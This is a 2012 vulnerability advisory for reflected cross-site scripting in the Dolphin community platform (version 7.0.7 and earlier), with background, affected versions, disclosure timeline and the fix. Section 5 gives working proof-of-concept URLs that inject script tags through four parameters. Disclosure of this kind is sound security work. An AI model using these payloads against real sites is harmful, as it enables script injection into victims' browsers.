1. OVERVIEW

Dolphin 7.0.7 and lower versions are vulnerable to Cross Site Scripting.


2. BACKGROUND

Dolphin is the only "all-in-one" free community software platform for
creating your own social networking, community or online dating site
without any limits and under your full control. Dolphin comes with
hundreds of features, module plugins and tools. Everything is included
and extension posibilities are literally endless. You can use it for
free with a BoonEx link in the footer or buy a $99 permanent license
to remove that requirement.


3. VULNERABILITY DESCRIPTION

Multiple parameters (explain,photos_only,online_only,mode) were not
properly sanitized, which allows attacker to conduct Cross Site
Scripting attack. This may allow an attacker to create a specially
crafted URL that would execute arbitrary script code in a victim's
browser.


4. VERSIONS AFFECTED

7.0.7 and lower


5. PROOF-OF-CONCEPT/EXPLOIT

Vulnerable Parameter: explain

http://localhost/dolph/explanation.php?explain=%27%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E


Vulnerable Parameters: photos_only,online_only,mode

http://localhost/dolph/viewFriends.php?iUser=1&page=1&per_page=32&sort=activity&photos_only='"><script>alert(/xss/)</script>

http://localhost/dolph/viewFriends.php?iUser=1&page=1&per_page=32&sort=activity&online_only='"><script>alert(/xss/)</script>

http://localhost/dolph/viewFriends.php?iUser=1&page=1&sort=activity&mode='"><script>alert(/xss/)</script>


6. SOLUTION

Upgade to the latest version of Dolphine.


7. VENDOR

BoonEx Pty Ltd
http://www.boonex.com/


8. CREDIT

Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2011-06-09: notified vendor
2011-10-24: fixed version, 7.0.8, released
2012-02-20: vulnerability disclosed


10. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/%5BDolphin_7.0.7%5D_xss
BoonEx Home Page: http://www.boonex.com/


#yehg [2012-02-20]